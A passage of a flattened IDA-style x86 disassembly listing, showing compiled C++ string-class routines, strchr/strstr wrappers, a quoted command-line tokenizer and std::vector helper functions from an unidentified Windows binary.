pop esi retn sub_409AA0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409AE0 proc near ; CODE XREF: sub_401424j mov eax, ecx xor ecx, ecx mov dword ptr [eax], offset off_43E010 mov [eax+9], ecx mov [eax+11h], ecx mov [eax+4], cl mov [eax+0Dh], ecx retn sub_409AE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409B10: ; CODE XREF: ___:00402063j ; ___:loc_402171j push esi mov esi, ecx call sub_401226 test byte ptr [esp+8], 1 jz short loc_409B28 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409B28: ; CODE XREF: ___:00409B1Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B40 proc near ; CODE XREF: sub_401861j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43E010 mov [esi+9], ebx mov [esi+11h], ebx call sub_4015D7 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409B40 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B80 proc near ; CODE XREF: sub_4014C9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43E010 mov [esi+9], ebx mov [esi+11h], ebx call sub_401FBE mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409B80 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409BC0 proc near ; CODE XREF: sub_4020F4j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push ebx push esi mov esi, ecx push eax lea ecx, [esp+1Ch+var_10] push offset dword_4437F4 push ecx mov dword ptr [esi], offset off_43E010 nop call sub_5EFFD5 add esp, 0Ch lea edx, [esp+18h+var_10] xor ebx, ebx mov ecx, esi push edx mov [esi+9], ebx mov [esi+11h], ebx call sub_4015D7 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx add esp, 10h retn 4 sub_409BC0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C30 proc near ; CODE XREF: sub_401226j push esi mov esi, ecx push edi xor edi, edi mov eax, [esi+9] mov dword ptr [esi], offset off_43E010 cmp eax, edi jz short loc_409C4C push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409C4C: ; CODE XREF: sub_409C30+11j mov eax, [esi+0Dh] mov [esi+9], edi cmp eax, edi jz short loc_409C5F push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409C5F: ; CODE XREF: sub_409C30+24j mov [esi+0Dh], edi mov [esi+11h], edi pop edi pop esi retn sub_409C30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C80 proc near ; CODE XREF: sub_4015D7j arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx test edi, edi jz short loc_409CEA or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+9] not ecx dec ecx test eax, eax mov ebp, ecx jz short loc_409CAA push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409CAA: ; CODE XREF: sub_409C80+1Fj lea ebx, [ebp+2] push ebx call sub_4367FA ; --------------------------------------------------------------------------- db 8Bh dd 4C483F8h, 7E89FF85h, 8B2B7409h, 8BC033CBh, 116E89D1h dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch dd 51500956h, 0A9E89052h, 837783DDh db 0C4h, 0Ch ; --------------------------------------------------------------------------- loc_409CEA: ; CODE XREF: sub_409C80+Cj pop edi pop esi pop ebp pop ebx retn 4 sub_409C80 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409D20 proc near ; CODE XREF: sub_401FBEj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015D7 pop esi retn 4 sub_409D20 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409D50: ; CODE XREF: ___:00401A46j mov eax, [esp+4] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+8] push offset dword_4437F4 push ecx nop call sub_5EFFD5 add esp, 0Ch lea edx, [esp+4] mov ecx, esi push edx call sub_4015D7 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409DA0 proc near ; CODE XREF: sub_401A9Bj arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov ebx, ecx test edi, edi jz loc_409E32 or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [ebx+11h] not ecx dec ecx mov esi, ecx add esi, edi lea eax, [esi+1] push eax call sub_4367FA ; --------------------------------------------------------------------------- mov edi, [ebx+9] add esp, 4 test edi, edi mov ebp, eax jz short loc_409E32 or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+11h], esi repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov edi, [esp+10h+arg_0] or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov esi, edi mov edx, ecx mov edi, ebp or ecx, 0FFFFFFFFh repne scasb mov ecx, edx dec edi shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx+9] test eax, eax jz short loc_409E2F push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409E2F: ; CODE XREF: sub_409DA0+84j mov [ebx+9], ebp loc_409E32: ; CODE XREF: sub_409DA0+Cj ; sub_409DA0+36j pop edi pop esi pop ebp pop ebx retn 4 sub_409DA0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409E70 proc near ; CODE XREF: sub_4016BDj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_401A9B pop esi retn 4 sub_409E70 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409EA0 proc near ; CODE XREF: sub_401140j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+18h+var_10] push offset dword_4437F4 push ecx call sub_5EFFD5 nop add esp, 0Ch lea edx, [esp+14h+var_10] mov ecx, esi push edx call sub_401A9B pop esi add esp, 10h retn 4 sub_409EA0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409EF0 proc near ; CODE XREF: sub_4012EEj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_409F07 mov edx, [ecx+9] xor eax, eax test edx, edx setnz al pop esi retn 4 ; --------------------------------------------------------------------------- loc_409F07: ; CODE XREF: sub_409EF0+7j mov eax, [ecx+9] push ebx loc_409F0B: ; CODE XREF: sub_409EF0+3Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_409F36 test cl, cl jz short loc_409F2F mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_409F36 add eax, 2 add esi, 2 test cl, cl jnz short loc_409F0B loc_409F2F: ; CODE XREF: sub_409EF0+27j pop ebx xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_409F36: ; CODE XREF: sub_409EF0+23j ; sub_409EF0+33j sbb eax, eax pop ebx sbb eax, 0FFFFFFFFh pop esi retn 4 sub_409EF0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F60 proc near ; CODE XREF: sub_401B72j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_409F60 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F90 proc near ; CODE XREF: sub_401500j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jnz short loc_409FA3 mov edx, [ecx+9] test edx, edx setnz al retn 4 ; --------------------------------------------------------------------------- loc_409FA3: ; CODE XREF: sub_409F90+6j push eax mov eax, [ecx+9] push eax call near ptr 77C4624Eh nop add esp, 8 retn 4 sub_409F90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409FD0 proc near ; CODE XREF: sub_4021ADj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_409FD0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A000 proc near ; CODE XREF: sub_401CBCj push esi mov esi, ecx mov eax, [esi+9] test eax, eax jz short loc_40A013 push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A013: ; CODE XREF: sub_40A000+8j mov dword ptr [esi+9], 0 pop esi retn sub_40A000 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A030 proc near ; CODE XREF: sub_40102Dj arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_436840 mov eax, [esp+arg_2004] test eax, eax jz short loc_40A072 lea ecx, [esp+arg_2008] lea edx, [esp+0] push ecx push eax push 2000h push edx nop call near ptr 77C3FF8Ah mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_4015D7 loc_40A072: ; CODE XREF: sub_40A030+13j add esp, 2000h retn sub_40A030 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0A0 proc near ; CODE XREF: sub_401D20j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401316 retn 4 sub_40A0A0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0C0 proc near ; CODE XREF: sub_401316j arg_0 = byte ptr 4 push ebx mov ebx, dword_50FAE0 push esi push edi movsx edi, [esp+0Ch+arg_0] mov esi, ecx push edi mov eax, [esi+9] push eax call ebx ; strchr add esp, 8 test eax, eax jnz short loc_40A0E4 pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A0E4: ; CODE XREF: sub_40A0C0+1Cj mov ecx, [esi+9] push edi push ecx call ebx ; strchr mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A0C0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A110 proc near ; CODE XREF: sub_4018A2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401807 retn 4 sub_40A110 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A130 proc near ; CODE XREF: sub_401807j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_401389 push eax mov ecx, esi call sub_402117 pop esi retn 8 sub_40A130 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A160 proc near ; CODE XREF: sub_4013E3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_402117 retn 4 sub_40A160 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A180 proc near ; CODE XREF: sub_402117j arg_0 = dword ptr 4 push ebx push esi push edi mov edi, [esp+0Ch+arg_0] test edi, edi mov esi, ecx jnz short loc_40A195 pop edi pop esi xor eax, eax pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A195: ; CODE XREF: sub_40A180+Bj mov eax, [esi+9] mov ebx, dword_50FAF8 push edi push eax call ebx ; strstr add esp, 8 test eax, eax jnz short loc_40A1AF pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A1AF: ; CODE XREF: sub_40A180+27j mov ecx, [esi+9] push edi push ecx call ebx ; strstr mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A180 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A1F0 proc near ; CODE XREF: sub_401C5Dj arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx test edi, edi jnz short loc_40A203 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_40A203: ; CODE XREF: sub_40A1F0+Aj mov eax, [esi+9] mov [esi+11h], edi test eax, eax jz short loc_40A216 push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A216: ; CODE XREF: sub_40A1F0+1Bj push ebx lea ebx, [edi+1] push ebx call sub_4367FA sub_40A1F0 endp ; --------------------------------------------------------------------------- mov ecx, ebx mov edi, eax mov edx, ecx xor eax, eax shr ecx, 2 mov [esi+9], edi add esp, 4 rep stosd mov ecx, edx pop ebx and ecx, 3 rep stosb mov eax, [esi+9] pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A270 proc near ; CODE XREF: sub_4013D9j mov eax, [ecx+11h] retn sub_40A270 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A290 proc near ; CODE XREF: sub_4012B2j var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A290 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebp mov ebp, [esp+30h+arg_8] push esi xor esi, esi cmp ebp, 1 mov [esp+34h+var_2C], ecx mov [esp+34h+var_28], esi jge short loc_40A2E2 mov esi, [esp+34h+arg_0] push offset byte_446F70 mov ecx, esi call sub_401861 mov eax, esi pop esi pop ebp mov ecx, [esp+2Ch+var_C] mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- loc_40A2E2: ; CODE XREF: sub_40A290+2Bj push ebx push edi lea ecx, [esp+3Ch+var_24] call sub_401424 mov [esp+3Ch+var_4], esi lea esi, [ebp+1] push esi call sub_4367FA sub_40A290 endp ; --------------------------------------------------------------------------- mov ecx, esi mov ebx, eax mov edx, ecx xor eax, eax mov edi, ebx add esp, 4 shr ecx, 2 rep stosd mov ecx, edx mov edx, [esp+44h] and ecx, 3 push ebx rep stosb mov eax, [esp+14h] mov ecx, ebp mov edi, ebx mov esi, [eax+9] add esi, edx mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea ecx, [esp+1Ch] call sub_4015D7 push ebx call sub_4367E2 ; --------------------------------------------------------------------------- mov esi, [esp+44h] add esp, 4 lea eax, [esp+18h] mov ecx, esi push eax call sub_4014C9 lea ecx, [esp+18h] call sub_401226 mov ecx, [esp+30h] pop edi mov eax, esi pop ebx pop esi pop ebp mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A3C0 proc near ; CODE XREF: sub_401E2Ej var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi push edi mov esi, ecx mov [esp+0Ch+var_4], 0 call sub_4013D9 mov ecx, [esp+0Ch+arg_4] mov edi, [esp+0Ch+arg_0] sub eax, ecx push eax push ecx push edi mov ecx, esi call sub_4012B2 mov eax, edi pop edi pop esi pop ecx retn 8 sub_40A3C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A400: ; CODE XREF: ___:0040193Dj push ecx push esi mov esi, [esp+0Ch] push 1 mov ecx, esi mov dword ptr [esp+8], 0 call sub_4020F4 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A430 proc near ; CODE XREF: sub_4011EAj var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A430 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi mov edi, [esp+44h+arg_8] mov esi, ecx test edi, edi mov [esp+44h+var_38], 0 jnz short loc_40A471 mov esi, [esp+44h+arg_0] push offset byte_446F70 mov ecx, esi call sub_401861 jmp loc_40A5A4 ; --------------------------------------------------------------------------- loc_40A471: ; CODE XREF: sub_40A430+2Aj lea eax, [esp+44h+arg_8] lea ecx, [esp+44h+var_34] push eax call sub_401690 mov ecx, [esi+9] mov [esp+44h+var_4], 1 push ecx lea ecx, [esp+48h+var_24] call sub_401861 lea ecx, [esp+44h+var_24] mov byte ptr [esp+44h+var_4], 2 call sub_4014D3 mov [esp+44h+var_3C], eax mov cl, [eax] test cl, cl jz loc_40A555 push ebx loc_40A4B1: ; CODE XREF: sub_40A430+11Ej mov dl, [edi] cmp cl, dl jnz short loc_40A4C0 loc_40A4B7: ; CODE XREF: sub_40A430+8Ej inc eax mov [esp+48h+var_3C], eax cmp [eax], dl jz short loc_40A4B7 loc_40A4C0: ; CODE XREF: sub_40A430+85j cmp byte ptr [eax], 22h setz bl test bl, bl jz short loc_40A4CF inc eax mov [esp+48h+var_3C], eax loc_40A4CF: ; CODE XREF: sub_40A430+98j lea edx, [esp+48h+var_3C] lea ecx, [esp+48h+var_34] push edx call sub_401988 mov eax, [esp+48h+var_3C] test bl, bl mov cl, [eax] jz short loc_40A51F test cl, cl jz short loc_40A507 loc_40A4EB: ; CODE XREF: sub_40A430+D5j cmp cl, 22h jnz short loc_40A4FC mov cl, [eax+1] cmp cl, 20h jz short loc_40A507 test cl, cl jz short loc_40A507 loc_40A4FC: ; CODE XREF: sub_40A430+BEj inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A4EB loc_40A507: ; CODE XREF: sub_40A430+B9j ; sub_40A430+C6j ... cmp byte ptr [eax], 0 jz short loc_40A54A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] mov cl, [eax+1] test cl, cl jz short loc_40A54A add eax, 2 jmp short loc_40A546 ; --------------------------------------------------------------------------- loc_40A51F: ; CODE XREF: sub_40A430+B5j test cl, cl jz short loc_40A534 mov dl, [edi] loc_40A525: ; CODE XREF: sub_40A430+102j cmp cl, dl jz short loc_40A534 inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A525 loc_40A534: ; CODE XREF: sub_40A430+F1j ; sub_40A430+F7j mov cl, [eax] test cl, cl jz short loc_40A54A cmp cl, [edi] jnz short loc_40A54A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] inc eax loc_40A546: ; CODE XREF: sub_40A430+EDj mov [esp+48h+var_3C], eax loc_40A54A: ; CODE XREF: sub_40A430+DAj ; sub_40A430+E8j ... mov cl, [eax] test cl, cl jnz loc_40A4B1 pop ebx loc_40A555: ; CODE XREF: sub_40A430+7Aj lea ecx, [esp+44h+var_34] call sub_4011F9 mov ecx, [esp+44h+arg_4] cmp ecx, eax jb short loc_40A56D push offset byte_446F70 jmp short loc_40A57A ; --------------------------------------------------------------------------- loc_40A56D: ; CODE XREF: sub_40A430+134j push ecx lea ecx, [esp+48h+var_34] call sub_401F64 mov eax, [eax] push eax loc_40A57A: ; CODE XREF: sub_40A430+13Bj mov esi, [esp+48h+arg_0] mov ecx, esi call sub_401861 lea ecx, [esp+44h+var_24] mov [esp+44h+var_38], 1 call sub_401226 lea ecx, [esp+44h+var_34] mov byte ptr [esp+44h+var_4], 0 call sub_40158C ; --------------------------------------------------------------------------- loc_40A5A4: ; CODE XREF: sub_40A430+3Cj mov ecx, [esp+44h+var_C] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_40A430 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A630 proc near ; CODE XREF: sub_4016AEj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ecx mov eax, [esp+4+arg_8] mov edx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push 0 push eax push edx push esi mov [esp+18h+var_4], 0 call sub_4011EA mov eax, esi pop esi pop ecx retn 0Ch sub_40A630 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A670 proc near ; CODE XREF: sub_40200Ej arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015D7 pop esi retn 4 sub_40A670 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A6A0 proc near ; CODE XREF: sub_401A87j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015D7 retn 4 sub_40A6A0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A6C0 proc near ; CODE XREF: sub_40146Fj arg_0 = dword ptr 4 mov eax, [ecx+9] mov ecx, [esp+arg_0] add eax, ecx retn 4 sub_40A6C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A6E0: ; CODE XREF: ___:0040149Cj mov eax, [ecx+9] mov ecx, [esp+4] add eax, ecx retn 4 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A700 proc near ; CODE XREF: sub_401389j mov eax, [ecx+9] retn sub_40A700 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A720 proc near ; CODE XREF: sub_4017E4j mov eax, [ecx+9] retn sub_40A720 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A740 proc near ; CODE XREF: sub_4014D3j mov eax, [ecx+9] retn sub_40A740 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A760 proc near ; CODE XREF: sub_401690j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_40A760 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40A790 proc near ; CODE XREF: sub_40158Cj push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019A6 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF sub_40A790 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A7E0 proc near ; CODE XREF: sub_4011F9j mov edx, [ecx+4] test edx, edx jnz short loc_40A7EA xor eax, eax retn ; --------------------------------------------------------------------------- loc_40A7EA: ; CODE XREF: sub_40A7E0+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_40A7E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A810 proc near ; CODE XREF: sub_401F64j arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_4011F9 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_40A828 mov ecx, esi call sub_401EE7 loc_40A828: ; CODE XREF: sub_40A810+Fj mov ecx, esi call sub_401D1B lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_40A810 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A850 proc near ; CODE XREF: sub_401988j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40164F push eax mov ecx, esi call sub_4016EF pop esi retn 4 sub_40A850 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A880 proc near ; CODE XREF: sub_401D1Bj mov eax, [ecx+4] retn sub_40A880 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8A0 proc near ; CODE XREF: sub_40164Fj mov eax, [ecx+8] retn sub_40A8A0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8C0 proc near ; CODE XREF: sub_4016EFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401D1B mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_4013CF mov ecx, edi call sub_401D1B lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_40A8C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A910 proc near ; CODE XREF: sub_4019A6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_40A930 loc_40A921: ; CODE XREF: sub_40A910+1Ej push esi mov ecx, edi call sub_4018B1 add esi, 4 cmp esi, ebx jnz short loc_40A921 loc_40A930: ; CODE XREF: sub_40A910+Fj pop edi pop esi pop ebx retn 8 sub_40A910 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A950: ; CODE XREF: sub_401EE7j push 0FFFFFFFFh push offset loc_438AB9 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3] lea ecx, [esp+4] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" call near ptr 76081F67h nop lea ecx, [esp+4] mov dword ptr [esp+38h], 0 push ecx lea ecx, [esp+18h] nop call near ptr 760A0430h lea edx, [esp+14h] push offset dword_43F080 push edx call sub_436832 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40A9D0 proc near ; CODE XREF: sub_4011EFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_40A9D0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A9F0 proc near ; CODE XREF: sub_4013CFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_40AABB mov ecx, esi call sub_4011F9 cmp edi, eax jnb short loc_40AA23 mov ecx, esi call sub_4011F9 mov ebp, eax jmp short loc_40AA25 ; --------------------------------------------------------------------------- loc_40AA23: ; CODE XREF: sub_40A9F0+26j mov ebp, edi loc_40AA25: ; CODE XREF: sub_40A9F0+31j mov ecx, esi call sub_4011F9 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401DCF ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4010CD mov ecx, 